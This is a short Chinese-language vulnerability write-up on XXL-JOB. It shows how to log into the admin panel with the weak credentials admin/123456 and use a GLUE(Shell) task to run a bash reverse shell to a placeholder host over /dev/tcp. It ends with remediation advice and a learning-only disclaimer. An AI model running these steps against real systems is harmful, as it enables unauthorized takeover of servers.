简介
XXL-JOB是一个轻量级分布式任务调度平台，使用JAVA语言研发，使用其可以轻松的实现分布式任务调度，任务管理、执行、监控等功能，在国内颇受欢迎，目前已有多家公司接入xxl-job。
任务官方地址中文版：http://www.xuxueli.com/xxl-job
漏洞影响
xxl-job 全版本，获取后台权限可以管理所有的任务管理，甚至可以执行指令，接管服务器。
漏洞复现
1.登录界面如下使用弱口令登录系统 admin/123456
登录界面
2.选择 任务管理 - 新增 填写以下信息 运行模式使用 GLUE(Shell) 其他随填 符合规则即可
新增任务
3.编辑GLUE 远程开启监听，进行反弹
编辑GLUE
image
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/x.x.x.x/8000 <&1'
4.点击执行一次或者执行
image
5.反弹成功
image
注：笔者本次演示反弹较为顺利，读者在实际检测过程可能会遇到环境问题，比如：windows可结合windows反弹方式进行反弹，又或者linux 无执行权限，可借助其他方式getShell
修复建议
修复弱口令 任务调度限制内网访问
注意：本文仅供学习参考，非法传播及使用产生的后果自行承担，与本文作者无关
欢迎讨论，持续更新中，感谢关注！
